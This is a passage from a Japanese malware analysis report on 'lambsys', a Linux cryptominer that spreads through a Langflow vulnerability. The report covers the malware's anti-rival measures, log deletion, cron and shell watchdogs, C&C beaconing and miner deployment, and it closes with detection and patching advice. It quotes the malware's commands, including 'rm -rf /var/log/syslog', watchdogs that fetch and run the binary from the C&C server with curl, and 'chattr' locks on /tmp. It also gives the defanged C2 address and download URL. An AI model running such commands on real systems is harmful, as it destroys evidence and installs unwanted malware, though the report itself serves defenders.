これに並行する操作としてlambsysは、サブプロセスを作成する際に、まず自プロセス側から環境変数「LD_PRELOAD」を消去します。これは、ライバルのルートキットを明確に意図した防御行動です。lambsysの強制停止リストに含まれるLinuxマイナーファミリの中でも、特に「libioset.so」や「libsystem.so」を悪用するものは、LD_PRELOADベースのライブラリを乗っ取り、システム内に常駐する性質を持ちます。そして、あらゆるプロセスから発せられるシステムコール（OSへの命令）を傍受します。対象プロセスの中には、理論上、lambsysも含まれます。
もし環境変数「LD_PRELOAD」がそのまま引き継がれた場合、ライバルのルートキット側では、lambsysの実行パスにフック（割り込み処理）を仕掛ける機会がうまれます。それを見越してlambsysは、コマンド「unset LD_PRELOAD」によって割り込み口を塞ぎ、付随する処理を通して「/etc/ld.so.preload（先述のchattrコマンド一覧を参照）」の中身を除去します。こうした手口が示唆するように、lambsysの背後にいる攻撃者は、ライバルが悪用するLD_PRELOAD関連ライブラリを、セキュリティツールに匹敵する「脅威」と見なしているのです。
最後のステップは、ログの消去です。最もあからさまな操作として、以下のコマンドを実行します。
rm -rf /var/log/syslog
これにより、メインのシステムログを破壊し、ホストがどのように侵害されたかを示す情報を消し去ります。今回、バイナリの中身を解析しても、ログファイルの解凍や再圧縮に相当する処理は見られませんでした。ログ絡みのコマンドとして確認されたのは、以下だけです。
rm -rf /var/log/syslog
つまり、メインの システムログを丸ごと削除するだけで、ローテーションされた過去のログには一切手を加えません。
この大雑把かつ大胆な削除方式に関しては、防御側に有利に働く部分もあれば、不利に働く部分もあります。まず、ファイル「/var/log/syslog」そのものが消えているため、インシデント対応側では、「何か異常な事態が起きた」ことにすぐに気付けます。しかし、発生事象の時間的な履歴を復元する段階に入ると、ローテーションされた古いログはそのまま確認できるものの、肝心の「侵入された瞬間」を記録していたメインのシステムログが丸ごと失われているため、最も重要な部分に踏み込めなくなります。このように、lambsysのログ削除はかなり荒削りですが、証拠隠滅という目的を達成する上では、十分に有効なものです。
永続化：2種のウォッチドッグ、ディレクトリに対するロック操作
lambsysは、2つのメカニズムを通して永続化（感染状態の長期化）を行います。双方とも、実行時のディスク書き込みを伴います。
メインとなる第一のメカニズムでは、 コマンド「crontab -」を通してcronジョブ（定期実行タスク）を登録します。このコマンドは、標準入力から設定値を読み込み、ユーザ毎のcrontabファイル（実行スケジュールを管理）を下記の場所に配備します。
/var/spool/cron/crontabs/user
登録されたcronジョブは5分毎に起動し、純粋なウォッチドッグ用のスクリプトを実行します。このスクリプトはまず、 コマンド「pgrep -x "lambsys"」を実行し、マルウェアのプロセスが現在も稼働しているかをチェックします。稼働していない場合、ディスク内に下記の実行ファイルが存在するかをチェックします。
/var/tmp/.xlamb/lambsys
もし存在するならば、それをそのまま実行します。存在しない場合、C&Cサーバから再び当該ファイルをダウンロードし、実行権限を付与した上で、起動します。
ウォッチドッグ用スクリプトの実行結果は、以下のファイルに書き込まれます。
/var/tmp/check_process.log
なお、このcronジョブに、ライバルのマイナーを強制停止させるような機能はありません。目的はあくまで「自身が消された時に復活できるようにする」ことです。
本調査では、以下の場所から作業用の一時ファイルが発見されました。
/var/spool/cron/crontabs/tmp.xa2rzX
これは、コマンド「crontab」による「アトミック（不可分）な登録処理」の過程で生じた残骸です。防御側では、以下の条件によるハンティングルールを設定することで、人手の操作を介さずに作成されたcrontab設定を高精度に検知できます。
/var/spool/cron/crontabs/tmp.*
永続化の第2メカニズムは、下記に示す853バイトのBashスクリプトであり、バックグラウンドプロセスとして動作します。
/var/tmp/init_rmount
サンドボックス環境の調査において、C&CサーバへのHTTP通信を分析したところ、その発信源はすべてマルウェア本体「lambsys.elf」となっており、「init_rmount」からの発信はありませんでした。
第2のウォッチドッグである「init_rmount」は、1分毎の無限ループで動作します。監視の手順は、先ほどのcronジョブをそのまま映し出した内容であり、まず以下のコマンドを利用してlambsysの稼働状態をチェックします。
pgrep -x "lambsys"
稼働していない場合は、以下のファイルがあるかをチェックします。
/var/tmp/.xlamb/lambsys
lambsysが稼働中でなく、かつファイルも存在しない場合は、コマンド「curl」によってC&Cサーバからダウンロードし、実行権限を付与した上で、起動します。
「init_rmount」の実行結果は、以下のログファイルに書き込まれます。
/var/tmp/run.log
/var/tmp/run.log2
マルウェア本体のlambsysは、自身の関数「createBashScript()」を通してinit_rmountをディスク内に展開し、以下のコマンドで実行権限を付与します。
chmod +x
そして、以下のコマンドによってバックグラウンドで起動します。
nohup sh -c "cd /var/tmp; ./init_rmount &"
これにより、起動元の親シェルが途中で終了しても、init_rmountは稼働し続けるようになります。
2つのウォッチドッグはどちらも同じ機能を持ちますが、復旧サイクルが異なり、片方は1分間、もう片方は5分間となっています。
不正なペイロードの配置をすべて終えた後、 lambsysは、配備した永続化用ファイルが削除されないように、以下のコマンド実行します。
chattr +iua /var/tmp
chattr +iua /tmp
これにより、以下のディレクトリの配下にあるすべてのファイルに、まとめてロックがかけられます。
/var/tmp
/tmp
なお、これらのディレクトリは、正規のアプリケーションやシステムプロセスにも使用される重要な場所です。そのため、こうした強引な変更は、サーバの正常な運用を妨害し、アプリケーション・エラーを引き起こす場合もあります。
第4ステージ：C&Cビーコンとマイナー「procq」
lambsysが行う処理の中でも、特にC&C通信は、目立たない形で静かに進行します。防御側にとって、C&C通信に使用されるポート割り当ては、あらゆるネットワーク検知ルールの成否を左右する重要な意味を持ちます。
今回の攻撃者は、同じIPアドレス上に2つのポートを展開し、一方は「ファイル配信」、もう一方は「C&C通信」という形で、役割を分散させています。まず、不正なプログラム（例：isp.sh、lambsys、ks.tar）の配備（ステージング）には、 8080番ポートが使用されます。配備が済んだ後、本稼働時のビーコン通信（稼働通知や命令受領のための定期連絡）には、80番ポートの標準的なHTTPが使用されます。サンドボックス解析で確認した7回のPOSTリクエストにおいて、被害サーバからの通信は、すべてTCPの80番ポートで行われていました。そのため、脅威検知システム「Suricata」のルールにおいて、C&C通信を捕えるために8080番ポートしか見ていないような場合、マルウェア配備が完了した後の感染ホストを追跡できなくなります。
C&CサーバのIPアドレス自体にも、注目すべき歴史的背景があります。以下のIPアドレスは、著名なブラックリスト「Spamhaus DROPリスト（グループ11）」に登録されています。
83[.]142[.]209[.]214
そのため、サンドボックス環境内のマルウェアが初回ビーコンを送信した時点で、IDS（侵入検知システム）が即座に「緊急脅威（Emerging Threats）」のルール「2400010」を発動させました。「Spamhaus DROPリスト」への掲載は、「よくあるブラックリストに載った」というレベルの話ではありません。「現役のサイバー犯罪組織が運用するネットワークブロック（IPアドレスの範囲）」であると、Spamhausが明確に判断したことを示します。背後の運用者は、インフラを臨機応変に変更（ローテーション）することなく、lambsysの活動が始まる前から「危険」と広く認知されていたネットワークブロックを、そのまま再利用したことになります。
この手抜きとも言えるインフラ運用は、防衛側にとって有利に働きます。企業や組織の出口ファイアウォールで「Spamhaus DROPフィード」を強制適用していれば、lambsysに固有の検知指標を一切登録していなかったとしても、本マルウェアによるすべてのC&Cビーコン通信を遮断できます。
C&Cサーバとのビーコン通信は、Go言語の組み込み機能「net/http client」によって行われます。そして、下図の通り、ユーザエージェントとしてこちらがデフォルトのまま使われています。
Go-http-client/1.1
通信先のURIパスとして、「/status.php」と「/setup_status.php」の2種があります。この名前は、一般的なPHPのバックエンド管理画面を装ったものです。先ほどのユーザエージェント「Go-http-client/1.1」に加え、平文のHTTPをあえて用いるという選択は、考え方によっては、セキュリティ担当者の人的ミスを狙ったものとも見られます。プロキシサーバの通信ログを肉眼でスキャンしている防衛側のエンジニアは、こうした通信を見たときに、「C&Cサーバとの不審な交信」などとは思わず、「どこかのWebアプリケーションだろう」と無意識に分類し、見過ごしてしまう可能性があります。
「/status.php」に向けて送信されるPOST通信のデータ本体は、以下のようなJSON形式のテキストになっています。
{"downloading":false,"running":true,"timestamp":1776952458}
これら3項目は、それぞれ下記の情報をC&Cサーバに伝えます。
- downloading（ダウンロード状況）：マイナープログラムの本体を現在ダウンロード中かどうか
- running（稼働状況）：lambsysのプロセスが自身を正常に稼働中と認識しているか
- timestamp（タイムスタンプ）：Unixエポックタイムスタンプ
この報告に対してC&Cサーバ側は、Webサーバ「Apache/2.4.52 (Ubuntu) 」の仕組みを利用し、以下に示す簡素な通知受理メッセージを返します。
{"status":"success","message":"Report received"}
このやり取りは、純粋なハートビート（稼働が継続していることを示す定期連絡）であり、固有の指令を送り込むものではありません。実際、サーバ応答の中には、マルウェアへの指示やタスク、制御信号などが一切含まれていません。
バイナリを解析すると、暗号資産マイナー「procq」を標的システムに配備する流れが明確に読み取れます。具体的には、下記の手順を実行します。
- 圧縮ファイル
hxxp[://]83[.]142[.]209[.]214:8080/ks[.]tarをダウンロードする。 - ダウンロードしたファイルのMD5ハッシュ値を算出し、プログラム内に埋め込まれている期待値（46096a72d84db5f1dafd944fcf6571c8）と比較する。
- 偽装パス
./. /. /procqに不正なペイロードを解凍する。ドットと3つのスペースを組み合わせたこの特殊なディレクトリ名は、lsコマンドによる簡易な監視をすり抜けようと画策したものである。 - コマンド
rm -rf ks.tarを実行し、用済みの圧縮ファイルを削除する。
後続のチェックで「procq」が見つからなかった場合、lambsysはダウンロード、検証、解凍を含む一連の処理を再実行します。このように本マイナープログラムは、自動修復機能を備えています。
「procq」は、圧縮ファイル「ks.tar」に格納されたマイニングツール「XMRig」の独自バージョンであり、JSON-RPCプロトコルを使用して、TCPの 3333番ポート経由でマイニングプールに接続します。プールへのログインリクエスト文には、暗号資産「XMR」のウォレットアドレスと、以下の偽装ユーザエージェントが記載されています。
SystemMonitor/6.25.0 (Linux x86_64) libuv/1.24.1 gcc/8.3.0
「SystemMonitor」という名前は防衛側を騙すための表記ですが、「libuv」や「gcc」のバージョン文字列により、プログラムのビルド環境が露呈しています。
procqは、28種に及ぶハッシュ化アルゴリズムへの対応を宣言しています。たとえば、rx/0 (RandomX)、全cn-* (CryptoNight) ファミリ、argon2の派生形、ghostriderなどが含まれます。
「ks.tar」に対応するMD5ハッシュの期待値として、lambsysの現行版（2026年）と旧亜種（2024年）とも、以下の同一値が定義されています。
46096a72d84db5f1dafd944fcf6571c8
両バージョンとも、まったく同一の「ks.tar」をダウンロードすることになります。つまり、暗号資産マイナー本体に関しては、完全に使い回されていたと判断できます。
ダウンロードした「ks.tar」に対してMD5チェックを行うという仕様は、裏を返せば、攻撃者自身が配信用インフラの中身を十分に信頼しておらず、改ざんの可能性を見越していることになります。なお、ビーコン通信のペースは非常に早く、「/status.php」に対するPOSTリクエストが、約128秒毎に送信されます。
暗号資産マイナーが愛用する「ipinfo[.]io」
lambsysは、最初のビーコンを「/status.php」に送信する前に、「ipinfo[.]io」によるDNSルックアップ（ドメイン名からIPアドレスを調べる手続き）を実行します。これは、Linux暗号資産マイナーの標準的な作法となっています。まず、その経緯や理由から説明します。
調査用のサンドボックス環境から「ipinfo[.]info」にリクエストを送り、返ってきた結果を以下に示します。
{
"ip": "x.x.x.x", // IPアドレス
"city": "Windsor", // 都市名
"region": "Ontario", // 地域
"country": "CA", // 国コード
"loc": "42.3001,-83.0165",// 緯度・経度
"org": "ASXXX Bell Canada", // 自律システム番号と組織名
"postal": "N8X", // 郵便番号
"timezone": "America/Toronto" // タイムゾーン
}
この例の通り、「ipinfo[.]io」は、リクエストを送信したホスト自身のグローバルIPや国、都市、ASN（自律システム番号）、組織名などをJSONデータで返却します。Moneroマイナーにとって、こうした情報は、運用上の視点から2つのメリットがあります。
第1のメリットは、「マイニングプールの選択」に役立つことです。大手のマイニングプールは、世界中の様々な地域に分散してエンドポイントを配置しています。そのため、乗っ取った被害サーバから地理的に近いエンドポイントに接続することで、通信遅延を小さく抑え、暗号資産の発掘効率を高められます。
第2のメリットは、「ジオゲーティング（位置情報による被害者の選別）」に役立つことです。不正なマイニング活動の実行者には、自身と同じ国や地域にいる人々を標的から外したいという動機が存在します。というのも、自国の人々を巻き込めば、外国の標的を狙った場合と異なり、地元の警察や法執行機関が動き出し、近場にいる自身が摘発されるリスクが跳ね上がるからです。lambsysがマイニングプールへの接続前にわざわざ 「ipinfo[.]io」に問い合わせる理由は、まさにここにあると考えられます。
防御側では、こうした性質を逆手に取ることで、検知性能を高められる可能性があります。その効果は、lambsysという固有のマルウェア発見にとどまりません。たとえば、「アプリケーションサーバのサブネット」から「ipinfo[.]io」へのクエリに対応したルールを1つ作成します。これだけで、今回のlambsysだけでなく、以前から蔓延している多数のLinux向けマイナー・マルウェアをまとめて網にかけることができます。さらに、この監視ルールは誤検知の発生率が低いため、セキュリティ担当者側で画面に張り付いて見守る必要もなく、自動化運用につなげやすくなります。
マルウェア系譜の分析
先述した「akay」、「vfinder」というアカウントの削除処理は、単に「環境整理の手続きだ」と片付けて終わるものではありません。歴史を辿っていくと、以下のような先代のマルウェアに行き着きます。
Trojan.SH.MALXMR.UWEKB
この先代マルウェアは、両アカウントを削除し、「is.sh（lambsysのisp.shに近い）」という名前のドロッパを利用し、known_hostsやSSH接続を用いて感染を拡大させる性質を持ち、それに合致するサンプルは、他に知られていません。
lambsysとこのマルウェアの類似点は、偶然とは片付けられないほどピンポイントで、有意義なものです。しかし同時に、lambsysがその先代マルウェアの「直系子孫」にあたるのか、それとも、全く別のグループが戦術を模擬しながら作った「別系統」にあたるのか、といった解釈の幅が、依然として残されています。
こちらをご参照ください。
表2：lambsysやTrojan.SH.MALXMR.UWEKBに関わる事象の推移
lambsysをKORKERDSと同じ系譜に紐づける接点は多く挙げられますが、その確度はまちまちです。
こちらをご参照ください。
表3： KORKERDSファミリとlambsysの繋り
本攻撃キャンペーンで確認されたアーティファクトのうち、以下の5点は、公開マルウェアデータベースに一切見られないものです。
- lambsysのSHA256ハッシュ値（2024年版と2026年版のどちらも）
- ファイル名「init_rmount」
- ディレクトリ
/var/tmp/.xlamb - 「47VVuaLN...」ではじまるXMRウォレットアドレス
- マルウェア活動におけるドロッパ名「isp.sh」
今回の攻撃者は、TrendAIが仕掛けた「ハニーポット」で発見されるまで、少なくとも2年間にわたって自身の姿を隠しながら、プログラム開発を続けてきました。
表2で示した2024年版と2026年版の差分が示す通り、このlambsysは、今も開発され続けていると考えられます。その差分の内容は、単に固定的なツールキットを入れ替えたようなものではありません。むしろ、新たな攻撃キャンペーンの展開に向けてツールチェーンを持続的かつ反復的にメンテナンスし、設計改修を行っていることを示しています。
最も合理的な説明は、「公開されている情報源から技術をそのまま継承した」、という解釈です。かつて、KORKERDSやMALXMRのプレイブックは、コピーしてすぐに使えるBase64形式でエンコードされ、Pastebin上に公開されていました。そのため、別の攻撃者がそのプレイブックを研究し、その中から特定のパターン（例：アカウント「akay」と「vfinder」の削除、SSHワームによる感染拡大、ドロッパの名前）を抜き出し、Go言語ベースの新しいツールに組み立てたという見立てが、比較的有力です。
そうした手本にした部分以外は、すべて、新規の設計です。たとえば、進化の経過が一切記録されていないGo言語への完全書き換え、他のマルウェアに一度も出現したことのないウォレットアドレス、前例のないファイル名「init_rmount」などが挙げられます。さらに、「ライバルの強制停止リスト」も注目に値します。そのリストには、オリジナルのプレイブックが出た頃（2018年11月）にはまだ存在しなかったマルウェアファミリ（Kinsingなど）が含まれており、2024年のマルウェア勢力図を反映したものとなっています。
本攻撃への対策として、AIワークフロー構築ツール「Langflow」を利用中の組織では、バージョン1.9.0、または最新版にアップデートすることを推奨します。同時に、Langflowインスタンスに対するパブリックアクセスに制限をかけ、サービスが必要以上の権限で動作していないか再確認してください。開発途中のバージョン「1.9.0.dev8」で導入された修正対応を適用することも、検討してください。この対応は、公開したワークフローが攻撃者の不正なデータを受け付けないように制御し、カスタムデータの送信を伴う操作をすべて記録できる仕組みとなっています。防御チームでは、過去のログをさかのぼり、脆弱性を狙った活動の兆候を検査してください。一つでも侵害の形跡が見つかった場合は、全てのSSH秘密鍵を刷新（ローテーション）し、対象サーバに繋がっていた周辺システムにも影響が飛び火していないか、調査することを推奨します。
「TrendAI™ Research」では、本攻撃キャンペーンや、関連する脅威に対する監視を継続しています。そして、進化する脅威にも先手を打って対応できるように、実践的なインテリジェンスを提供してまいります。
サイバー攻撃知識ベース「MITRE ATT&CK」との紐づけ
こちらをご参照ください。
表4：本攻撃キャンペーンで使用された戦略（tactics）と技術（techniques）
TrendAI Vision One™ Threat Intelligence Hub
「TrendAI Vision One™」の「Threat Intelligence Hub」は、新たな脅威や攻撃者に関する最新情報、「TrendAI™ Research」による独自の戦略レポート、そして「TrendAI Vision One™ - Threat Intelligence Feed」を提供します。
Emerging Threats：From Langflow to Monero: Inside CVE-2026-33017 Cryptominer （高まる脅威：AIツール「Langflow」を暗号資産「Monero」のマイニングに悪用する攻撃活動：脆弱性「CVE-2026-33017」に付け入る手口）
TrendAI Vision One™ Intelligence Reports (IOC Sweeping)
From Langflow to Monero: Inside CVE-2026-33017 Cryptominer （高まる脅威：AIツール「Langflow」を暗号資産「Monero」のマイニングに悪用する攻撃活動：脆弱性「CVE-2026-33017」に付け入る手口）
侵入の痕跡（IoC：Indicators of Compromise）
本事例に関連するIoCについて、こちらからご参照いただけます。
参考記事
From Langflow to Monero: Inside CVE-2026-33017 Cryptominer
By: Simon Dulude, John Zhang
翻訳：清水 浩平（Platform Marketing, TrendAI Research）